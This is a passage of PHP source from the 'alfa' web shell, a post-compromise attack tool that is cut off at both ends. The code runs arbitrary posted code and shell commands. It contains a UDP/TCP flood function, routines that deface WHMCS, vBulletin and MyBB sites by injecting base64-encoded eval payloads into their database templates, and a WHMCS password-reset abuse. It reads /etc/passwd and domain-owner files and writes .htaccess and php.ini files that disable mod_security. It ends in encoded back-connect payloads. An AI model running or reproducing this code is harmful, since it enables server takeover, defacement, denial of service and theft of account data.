{color:#000;}</style>\';\nob_start();\nphpinfo();\n$tmp = ob_get_clean();\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\n}\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'exten\')) {\necho \'<div class=header>\';\nob_start();\n$EXT=get_loaded_extensions();\necho \'<table border=0><tr><td class="listing">\'.implode(\'</td></tr>\'."\\n".\'<tr><td class="listing">\', $EXT).\'</td></tr></table>\'.count($EXT).\' extensions loaded\';\necho \'</div><br>\';\n}\n$lang_html = "";\nforeach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= \'<option value="\'.$key.\'" \'.($_POST["alfa3"]==$key?"selected":"").\'>\'.$val.\'</option>\';}\necho \'<div class=header><Center><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'ini\\\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'info\\\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'exten\\\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\\\'phpeval\\\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">\'.$lang_html.\'</select>\'._alfa_load_ace_options("eval").\'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">\'.(!empty($_POST[\'alfa1\'])?htmlspecialchars($_POST[\'alfa1\']):"&lt;?php\\n\\n\\techo(\'hello alfa !\');\\n\\n?>").\'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>\';\necho \'</form><pre id="PhpOutput" style="\'.(empty($_POST[\'alfa1\'])?\'display:none;\':\'\').\'margin-top:5px;" class="ml1">\';\nif(!empty($_POST[\'alfa1\'])){\nif($_POST[\'alfa3\']=="php"){\nob_start();\neval(\'?>\'.$_POST[\'alfa1\']);\n$result = htmlspecialchars(ob_get_clean());\n}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){\n    $lang = $_POST[\'alfa3\'];\n    $filename = "temp".rand(11111,99999);\n    $temp = $tempdir."/".$filename ;\n    __write_file($filename, $_POST[\'alfa1\']);\n    $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");\n    @unlink($filename);\n    @unlink($temp);\n}\necho \'<textarea class="bigarea">\'.$result.\'</textarea>\';\n}\necho \'</pre></div>\';\nalfafooter();\n}\nfunction alfahash(){\nif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\nif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n$stringTools = array(\n\'Base64_encode ( $string )\' => \'__ZW5jb2Rlcg($s)\',\n\'Base64_decode ( $string )\' => \'__ZGVjb2Rlcg($s)\',\n\'strrev ( $string )\' => \'strrev($s)\',\n\'bin2hex ( $string )\' => \'bin2hex($s)\',\n\'hex2bin ( $string )\' => \'hex2bin($s)\',\n\'md5 ( $string )\' => \'md5($s)\',\n\'sha1 ( $string )\' => \'sha1($s)\',\n\'hash ( "sha251", $string ) --> sha251\' => \'hash("sha256",$s)\',\n\'hash ( "sha384", $string ) --> sha384\' => \'hash("sha384",$s)\',\n\'hash ( "sha512", $string ) --> sha512\' => \'hash("sha512",$s)\',\n\'crypt ( $string )\' => \'crypt($s)\',\n\'crc32 ( $string )\' => \'crc32($s)\',\n\'str_rot13 ( $string )\' => \'str_rot13($s)\',\n\'urlencode ( $string )\' => \'urlencode($s)\',\n\'urldecode  ( $string )\' => \'urldecode($s)\',\n\'full_urlencode  ( $string )\' => \'full_urlencode($s)\',\n\'htmlspecialchars  ( $string )\' => \'htmlspecialchars($s)\',\n\'base64_encode (gzdeflate( $string , 9)) --> Encode\' => \'__ZW5jb2Rlcg(gzdeflate($s, 9))\',\n\'gzinflate (base64_decode( $string )) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg($s))\',\n\'str_rot13 (base64_encode( $string )) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg($s))\',\n\'base64_decode (str_rot13( $string )) --> Decode\' => \'__ZGVjb2Rlcg(str_rot13($s))\',\n\'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))\',\n\'gzinflate (base64_decode(str_rot13( $string ))) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))\',\n);\nalfahead();\necho \'<div class=header>\';\necho "<form onSubmit=\'g(\\"hash\\",null,this.selectTool.value,this.input.value);return false;\'><div class=\'txtfont\'>Method:</div> <select name=\'selectTool\' style=\'width:400px;\'>";\nforeach($stringTools as $k => $v)\necho "<option value=\'".htmlspecialchars($v)."\' ".($_POST[\'alfa1\']==$v?\'selected\':\'\').">".$k."</option>";\necho "</select> <input type=\'submit\' value=\' \'/><br><textarea  name=\'input\' style=\'margin-top:5px\' class=\'bigarea\'>".(empty($_POST[\'alfa1\'])?\'\':htmlspecialchars(@$_POST[\'alfa2\']))."</textarea></form>";\nif(!empty($_POST[\'alfa1\'])){\n$string = addslashes($_POST[\'alfa2\']);\n$string = str_replace(\'\\"\',\'"\',$string);\n$alg = $_POST[\'alfa1\'];\n$code = str_replace(\'$s\',"\'".$string."\'",$alg);\nob_start();\neval(\'echo \'.$code.\';\');\n$res = ob_get_contents();\nob_end_clean();\nif(in_array($alg, $stringTools))echo \'<textarea class="bigarea">\'.htmlspecialchars($res).\'</textarea>\';\n}\necho "</div>";\nalfaFooter();\n}\nfunction alfados(){\nalfahead();\necho \'<div class=header>\';\necho \'<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\\\'dos\\\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>\';\nif(!empty($_POST[\'alfa1\']) && !empty($_POST[\'alfa2\']) && !empty($_POST[\'alfa3\'])){\necho __pre();\n$packets=0;\nignore_user_abort(true);\n$exec_time=(int)$_POST[\'alfa2\'];\n$time=time();\n$max_time=$exec_time+$time;\n$host=$_POST[\'alfa1\'];\n$port=(int)$_POST[\'alfa3\'];\n$method=$_POST[\'alfa4\'];\n$out = str_repeat(\'X\',65000);\nwhile(1){\n$packets++;\nif(time() > $max_time){\nbreak;\n}\n$fp = @fsockopen($method.\'://\'.$host, $port, $errno, $errstr, 5);\nif($fp){\nfwrite($fp, $out);\nfclose($fp);\n}\n}\necho "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";\necho "</pre>";\n}\necho \'</div>\';\nalfafooter();\n}\nfunction __pre(){return(\'<pre id="strOutput" style="margin-top:5px" class="ml1">\');}\nfunction alfaIndexChanger(){\nalfahead();\n\necho \'<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,null,\\\'whmcs\\\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,\\\'vb\\\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,\\\'mybb\\\')">| MyBB | </a></h3></center>\';\nif(isset($_POST[\'alfa3\'])&&($_POST[\'alfa3\'] == \'whmcs\')){\necho __pre();\n\necho "<center><center><div class=\'txtfont_header\'>| Whmcs |</div>\n<p><center>".getConfigHtml(\'whmcs\')."<form onSubmit=\\"g(\'IndexChanger\',null,null,null,\'whmcs\',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\\">\n";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'URL\', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'File Name\', \'inputName\' => \'fname\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td6\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\n<textarea name=index rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\n<input type=\'submit\' value=\' \'>\n</form></center></center>";\nif(isset($_POST[\'alfa6\'])){\n$s0levisible="Powered By Solevisible";\n$dbu = $_POST[\'alfa6\'];\n$path = $_POST[\'alfa5\'];\n$fname = $_POST[\'alfa4\'];\n$dbn = $_POST[\'alfa7\'];\n$dbp = $_POST[\'alfa8\'];\n$dbh = $_POST[\'alfa9\'];\n$index = $_POST[\'alfa10\'];\n$index = str_replace("\\\'","\'",$index);\n$deface = \'$x = base64_decode("\'.__ZW5jb2Rlcg($index).\'"); $solevisible = fopen("\'.$fname.\'","w"); fwrite($solevisible,$x);\';\n$saveData = __ZW5jb2Rlcg($deface);\n$Def = \'{php}eval(base64_decode("\'.$saveData.\'"));{/php}\';\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\n$soleSave=@mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\n$soleGet = mysqli_fetch_assoc($soleSave);\n$tempSave1 = $soleGet[\'message\'];\n$tempSave = str_replace("\'","\\\'",$tempSave1);\n$inject = "UPDATE tblemailtemplates SET message=\'$Def\' WHERE name=\'Password Reset Validation\'";\n$result=@mysqli_query($conn,$inject) or die (mysqli_error($conn));\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\n$result2 =@mysqli_query($conn,$create) or die (mysqli_error($conn));\nif(function_exists(\'curl_version\')){\n$AlfaSole = new AlfaCURL(true);\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\n__alert(\'File Created...\');\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$path."/".$fname."\'>Click Here !</a></font></b></center><br><br>";\n}else{\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target </font><font color=red>\\" ".$path."/pwreset.php \\"</font><br/><font color=\\"#FFFFFF\\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\\"#FFFFFF\\">and go to</font> <font color=red>\\" ".$path."/".$fname." \\"</font></b></center><br><br>";\n}}}}\nif(isset($_POST[\'alfa1\']) && ($_POST[\'alfa1\'] == \'vb\')){\necho __pre();\n\necho "<center><center><div class=\'txtfont_header\'>| vBulletin |</div>\n<p><center>".getConfigHtml(\'vb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'vb\',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,\'>>\'); return false;\\">\n";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td5\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Prefix\', \'inputName\' => \'prefix\', \'id\' => \'db_prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\n<textarea name=\'index\' rows=\'19\' cols=\'103\'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\n<input type=\'submit\' value=\' \'></form></center></center>";\nif($_POST[\'alfa8\']==\'>>\'){\n$s0levisible="Powered By Solevisible";\n$dbu = $_POST[\'alfa2\'];\n$dbn = $_POST[\'alfa3\'];\n$dbp = $_POST[\'alfa4\'];\n$dbh = $_POST[\'alfa5\'];\n$index = $_POST[\'alfa6\'];\n$prefix = $_POST[\'alfa7\'];\n$index=str_replace("\\\'","\'",$index);\n$set_index = "{\\${eval(base64_decode(\\\'";\n$set_index .= __ZW5jb2Rlcg("echo \\"$index\\";");\n$set_index .= "\\\'))}}{\\${exit()}}";\nif(!empty($dbh)&&!empty($dbu)&&!empty($dbn)&&!empty($index)){\n$conn=@mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\n$loli1 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'spacer_open\'";\n$loli2 = "UPDATE ".$prefix."template SET template=\'".$set_index."".$s0levisible."\' WHERE title=\'FORUMHOME\'";\n$loli3 = "UPDATE ".$prefix."style SET css=\'".$set_index."".$s0levisible."\', stylevars=\'\', csscolors=\'\', editorstyles=\'\'";\n@mysqli_query($conn,$loli1) or die (mysqli_error($conn));\n@mysqli_query($conn,$loli2) or die (mysqli_error($conn));\n@mysqli_query($conn,$loli3) or die (mysqli_error($conn));\n__alert(\'VB index changed...!\');\n}\n}\n}\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'mybb\')) {\necho __pre();\n\necho "<center><center><div class=\'txtfont_header\'>| Mybb |</div>\n<p><center>".getConfigHtml(\'mybb\')."<form onSubmit=\\"g(\'IndexChanger\',null,\'null\',\'mybb\',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\\" method=POST action=\'\'>\n";\n$table = array(\'td1\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'mybbdbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\n \'td2\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'inputName\' => \'mybbdbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td3\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'inputName\' => \'mybbdbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\n \'td4\' =>\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'inputName\' => \'mybbdbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\n);\ncreate_table($table);\necho "<br><div class=\'txtfont\'>| Your Index |</div><br>\n<textarea name=mybbindex rows=\'19\' cols=\'103\'>\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type=\'submit\' value=\'\' ></p></form></center></center>";\nif(isset($_POST[\'alfa6\'])){\n$mybb_dbh = $_POST[\'alfa6\'];\n$mybb_dbu = $_POST[\'alfa7\'];\n$mybb_dbn = $_POST[\'alfa8\'];\n$mybb_dbp = $_POST[\'alfa9\'];\n$mybb_index = $_POST[\'alfa10\'];\nif(!empty($mybb_dbh)&&!empty($mybb_dbu)&&!empty($mybb_dbn)&&!empty($mybb_index)){\n$conn=@mysqli_connect($mybb_dbh,$mybb_dbu,$mybb_dbp,$mybb_dbn) or die(mysqli_error($conn));\n$prefix="mybb_";\n$loli7 = "UPDATE ".$prefix."templates SET template=\'".$mybb_index."\' WHERE title=\'index\'";\n$result =@mysqli_query($conn,$loli7) or die (mysqli_error($conn));\n__alert(\'MyBB index changed...!\');\n}\n}\n}\necho "</div>";\nalfafooter();\n}\nfunction alfaproc()\n{\nalfahead();\necho "<Div class=header><br><center>";\nif(empty($_POST[\'ajax\'])&&!empty($_POST[\'alfa1\']))\n$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;\nif($GLOBALS[\'sys\']=="win"){\n$process=array(\n"Task List" =>"tasklist /V",\n"System Info" =>"systeminfo",\n"Active Connections" => "netstat -an",\n"Running Services" => "net start",\n"User Accounts" => "net user",\n"Show Computers" => "net view",\n"ARP Table" => "arp -a",\n"IP Configuration" => "ipconfig /all"\n);}else{\n$process=array(\n"Process status" => "ps aux",\n"Syslog" =>"cat /etc/syslog.conf",\n"Resolv" => "cat /etc/resolv.conf",\n"Hosts" =>"cat /etc/hosts",\n"Cpuinfo"=>"cat /proc/cpuinfo",\n"Version"=>"cat /proc/version",\n"Sbin"=>"ls -al /usr/sbin",\n"Interrupts"=>"cat /proc/interrupts",\n"lsattr"=>"lsattr -va",\n"Uptime"=>"uptime",\n"Fstab" =>"cat /etc/fstab"\n);}\nforeach($process as $n => $link){\necho \'<a href="javascript:void(0);" onclick="g(\\\'proc\\\',null,\\\'\'.$link.\'\\\')"> | \'.$n.\' | </a>\';\n}\necho "</center><br>";\nif(!empty($_POST[\'alfa1\'])){\necho "<pre class=\'ml1\' style=\'margin-top:5px\' >";\nif($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd \'".addslashes($_POST["c"])."\';";}\necho alfaEx($cmd.$_POST[\'alfa1\'], true);\necho \'</pre>\';\n}\necho "</div>";\nalfafooter();\n}\nfunction alfasafe(){\nalfahead();\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Auto ByPasser |</div>";\necho \'<h3><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,\\\'php.ini\\\',null)">| PHP.INI | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,\\\'ini\\\')">| .htaccess(apache) | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,\\\'pl\\\')">| .htaccess(LiteSpeed) |</a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,\\\'passwd\\\')">| Read-Passwd | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,\\\'users\\\')">| Read-Users | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\')">| Get-User | </a><a href=javascript:void(0) onclick="g(\\\'safe\\\',null,null,null,null,null,null,null,null,\\\'domains\\\')">| Get-Domains | </a></center></h3>\';\nif(!empty($_POST[\'alfa8\']) && isset($_POST[\'alfa8\']) == \'domains\'){\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\necho __pre();\n$solevisible9 = _alfa_file(\'/etc/named.conf\');\nif(is_array($solevisible9)){\nforeach($solevisible9 as $solevisible13){\nif(@eregi(\'zone\',$solevisible13)){\npreg_match_all(\'#zone "(.*)"#\',$solevisible13,$solevisible14);\nif(strlen(trim($solevisible14[1][0])) > 2){\necho $solevisible14[1][0].\'<br>\';\n}}}\n}\n}else{\necho __pre();\n$users = _alfa_file("/etc/virtual/domainowners");\nif(is_array($users)){\nforeach($users as $boz){\n$dom = explode(":",$boz);\necho $dom[0]."\\n";}}}}\nif(!empty($_POST[\'alfa6\']) && isset($_POST[\'alfa6\']) == \'valiases\'){\necho \'\n<form onsubmit="g(\\\'safe\\\',null,null,null,null,null,null,\\\'valiases\\\',this.site.value,null,\\\'>>\\\'); return false;" method="post" /><center><div class="txtfont">Url: </font><input type="text" placeholder="site.com" name="site" /> <input type="submit" value=" " name="go" /></form></center>\';\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'>>\'){\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\n$site = trim($_POST[\'alfa7\']);\n$rep = str_replace(array("https://","http://","www."),"",$site);\n$user = "";\nif(function_exists("posix_getpwuid") && function_exists("fileowner")){\n    if($user = @posix_getpwuid(@fileowner("/etc/valiases/{$rep}"))){\n        $user = $user[\'name\'];\n    }\n}else{\n    if(_alfa_can_runCommand(true,true)){\n        $user = alfaEx("stat -c \'%U\' /etc/valiases/".$rep);\n    }\n}\nif(!empty($user)&&$user!=\'root\'){\necho __pre()."<center><table border=\'1\'><tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">{$user}</font></b></td></tr><tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";\n}else {echo __pre().\'<center><b>No such file or directory Or Disable Functions is not NONE...</b></center>\';}\n}else{\n$site = trim($_POST[\'alfa7\']);\n$rep = str_replace(array("https://","http://","www."),"",$site);\n$users = _alfa_file("/etc/virtual/domainowners");\nforeach($users as $boz){\n$ex = explode(":",$boz);\nif($ex[0] == $rep){\necho __pre()."<center><table border=\'1\'>\n<tr><td><b><font color=\\"#FFFFFF\\">User: </b></font></td><td><b><font color=\\"#FF0000\\">".trim($ex[1])."</font></b></td></tr>\n<tr><td><b><font color=\\"#FFFFFF\\">site: </b></font></td><td><b><font color=\\"#FF0000\\">{$rep}</font></b></td></tr></table></center>";break;}}}}}\nif(!empty($_POST[\'alfa5\']) && isset($_POST[\'alfa5\'])){\nif(!_alfa_file_exists("/etc/virtual/domainowners")){\necho __pre();\n$i = 0;\nwhile ($i < 60000) {\n$line = @posix_getpwuid($i);\nif (!empty($line)) {\nwhile (list ($key, $vl) = each($line)){\necho $vl."\\n";\nbreak;}}$i++;}\n}else{echo __pre();\n$users = _alfa_file("/etc/virtual/domainowners");\nforeach($users as $boz){\n$user = explode(":",$boz);\necho trim($user[1]).\'<br>\';}}}\nif(!empty($_POST[\'alfa4\']) && isset($_POST[\'alfa4\'])){\necho __pre();\nif(_alfa_can_runCommand(true,true)){echo __read_file("/etc/passwd");}elseif(function_exists("posix_getpwuid")){\nfor($uid=0;$uid<60000;$uid++){\n$ara = @posix_getpwuid($uid);\nif(!empty($ara)){\nwhile(list ($key, $val) = each($ara)){\necho "$val:";\n}echo "\\n";}}\n}else{__alert(\'failed...\');}}\nif(!empty($_POST[\'alfa2\']) && isset($_POST[\'alfa2\'])){\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<IfModule mod_security.c>\\nSec------Engine Off\\nSec------ScanPOST Off\\n</IfModule>");\necho \'<center><b><big>htaccess for Apache created...!</center></b></big>\';\n}\nif(!empty($_POST[\'alfa1\'])&& isset($_POST[\'alfa1\'])){\n@__write_file($GLOBALS[\'cwd\']."php.ini","safe_mode=OFF\\ndisable_functions=ByPassed By Sole Sad & Invisible(Cavdar59)");\necho \'<center><b><big> php.ini created...!</center></b></big>\';\n}\nif(!empty($_POST[\'alfa3\']) && isset($_POST[\'alfa3\'])){\n@__write_file($GLOBALS[\'cwd\'].".htaccess","#Generated By Sole Sad and Invisible\\n<Files *.php>\\nForceType application/x-httpd-php4\\n</Files>\\n<IfModule mod_security.c>\\nSecFilterEngine Off\\nSecFilterScanPOST Off\\n</IfModule>");\necho \'<center><b><big>htaccess for Litespeed created...!</center></b></big>\';\n}\necho "<br></div>";\nalfafooter();\n}\nfunction __get_resource($content){\nreturn @gzinflate(__ZGVjb2Rlcg($content));\n}\nfunction __write_file($file, $content){\nif($fh = @fopen($file, "wb")){\nif(fwrite($fh, $content)!==false) return true;\n}\nreturn false;\n}\nfunction bcinit($evalType, $evalCode, $evalOptions, $evalArguments){\n$res = "<font color=\'green\'>[ Success...! ]</font>";\n$err = "<font color=\'red\'>[ Failed...! ]</font>";\nif($evalOptions!="") $evalOptions = $evalOptions." ";\nif($evalArguments!="") $evalArguments = " ".$evalArguments;\nif($evalType=="c"){\n$tmpdir = ALFA_TEMPDIR;\nchdir($tmpdir);\nif(is_writable($tmpdir)){\n$uniq = substr(md5(time()),0,8);\n$filename = $evalType.$uniq.".c";\n$path = $filename;\nif(__write_file($path, $evalCode)){\n$ext = ($GLOBALS[\'sys\']==\'win\')? ".exe":".out";\n$pathres = $filename.$ext;\n$evalOptions = "-o ".$pathres." ".$evalOptions;\n$cmd = "gcc ".$evalOptions.$path;\nalfaEx($cmd);\nif(is_file($pathres)){\nif(chmod($pathres, 0755)){\n$cmd = $pathres.$evalArguments;\nalfaEx($cmd);\n}else{$res = $err;}\nunlink($pathres);\n}else{$res = $err;}\nunlink($path);\n}else{$res = $err;}\n}\nreturn $res;\n}elseif($evalType=="java"){\n$tmpdir = ALFA_TEMPDIR;\nchdir($tmpdir);\nif(is_writable($tmpdir)){\nif(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){\n$classname = trim($r[1]);\n$filename = $classname;\n}else{\n$uniq = substr(md5(time()),0,8);\n$filename = $evalType.$uniq;\n$evalCode = "class ".$filename." { ".$evalCode . " } ";\n}\n$path = $filename.".java";\nif(__write_file($path, $evalCode)){\n$cmd = "javac ".$evalOptions.$path;\nalfaEx($cmd);\n$pathres = $filename.".class";\nif(is_file($pathres)){\nif(chmod($pathres, 0755)){\n$cmd = "java ".$filename.$evalArguments;\nalfaEx($cmd);\n}else{$res = $err;}\nunlink($pathres);\n}else{$res = $err;}\nunlink($path);\n}else{$res = $err;}\n}\nreturn $res;\n}\nreturn false;\n}\nfunction alfaconnect(){\nalfahead();\n$php="7VZta9swEP5e6H9QjaE2S5uXfhg0pDBYPw7KVtiHtjOOLNcitqVJ8pKxpb99d36L4zid17WwQV1wrbvTo0e6Oz1hSgnlKSaFMjy9d0bu9PBAM+MZnjAv5gk3hU3MPZ7ImFNuvDDOdOSg1Ta+umdGkxlhKxmLgDkWsQaktOchFL3js7O3OFj6MEizOMYBaw50BAMLUIAJub78+GG2Mkwl06tP49nxrX31+f3F8bR0g206nPN0CJNOuIXTE5z9QN7FoU+umZ8QHbE4Jg/k8AD9PCQOFVlqnIqyS2ZAyyU/Dg8IPLYEgNI3LU05I6saGRzBogFa1oTFmu1BnXSi6pvRXRO5No/vtpfw6SJfomAdZik1XKQeW3FttHMsaWpiLxRqcew2FuIBTN748vSgBzEK74yc4IYBxzjjtru0j5p2KTRfeVANmgeO2wFQUkTe1dlsGGHatVGQC08LuoCa0kx9Y8qxDJXnw+HoNP87t8gp0IeaYUqlovgP8yoiFURZkyKDw9YDclYztenOQj6lTGJcczcQYkQslsBAZ3MYOTKSXpb6CXPcARkBpptv0lrydLMPfMKl4oY5NgV2CdCFtNElHskpsS6sahF8lhGPGZ4oOQKk0Ici2UKqiyLE1ANic3J97orde4lvaORYQxrcEufmy62+e+MOOfYWnpVS7g5ujh1gGYB7U1VtdK69gCsHIgGCRtV3R7QtAGt7r62oTRsYxZPmEduyPEysFov8/En2RnzNIMIlc8jgooWP6AUNHxr7coWTkIi1k4TWxGbGRHNv60ZWaSw0a+WgMtalU2xxbzU059oB1ryvlP/dGZHZRflpSS4ZJM5SFtTZuMOxRMek27G1gFTY5EpQT0iWAstogKtiUXDZjMSUHEGmFdMiUxTYSqyY7d7Hp9Fe8xi6B0UAweCygp7oFTnuHTnpFUlbQWVPGZXt9lJ+QzIRYhaxyIrvgpXbXVO28uss5Tms9lBSbHdCzTFmFO4U5UPkEl8MXqheXS3MU6+xgvL3dCvHmwDggyKO6q42rOqtyorN21HrxwjU2+vDog5+nAp9EovJn7CY/D2Ljl7XXb3eeQEUp73PM97r2S6gvFcrb61p6+YPiEo9Ufa31TNEOSsaPSrvfZbia0v/nknb9LNr207uXrWtib9P2+AHa1910z3UrYeQ6VchexEh008SMv0kIdMvLmS65+Wt/ych0/+EkP2ORV8he2nN+gU=";\n$python="pVRtT9swEP6cSv0PxptWR80M7YY0wYJUQZjQBlRtp30AVqXOpYmWOpHtQPnCb5/tJG1AHUKaqra+V99z95zf7e2XUuwvUr4P/B4VjyrJebeTropcKCTAk+W